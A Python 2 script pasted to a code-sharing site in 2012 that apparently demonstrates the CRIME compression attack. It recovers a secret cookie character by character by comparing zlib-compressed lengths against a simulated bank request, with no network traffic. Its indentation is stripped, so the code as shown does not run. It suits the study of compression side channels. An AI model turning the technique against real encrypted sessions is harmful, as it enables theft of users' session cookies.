
crime
By: a guest on
Sep 11th, 2012 | syntax:
Python | size: 1.07 KB | hits: 935 | expires: Never
import string
import zlib
HEADERS = ("POST / HTTP/1.1\r\n"
"Host: thebankserver.com\r\n"
"Connection: keep-alive\r\n"
"User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1\r\n"
"Accept: */*\r\n"
"Referer: https://thebankserver.com/\r\n"
"Accept-Encoding: gzip,deflate,sdch\r\n"
"Accept-Language: en-US,en;q=0.8\r\n"
"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"
"Cookie: secret=7xc89f+94/wa\r\n\r\n")
BODY = "Cookie: secret="
def compress(data):
c = zlib.compressobj()
return c.compress(data) + c.flush(zlib.Z_SYNC_FLUSH)
cookie = ""
while len(cookie) < 12:
smallest_char = ""
smallest_length = 0
for c in string.printable:
length = len(compress(HEADERS +
BODY +
cookie +
c))
print repr(c), length
if not smallest_length or length < smallest_length:
smallest_length = length
smallest_char = c
cookie += smallest_char
print "final result: %s" % cookie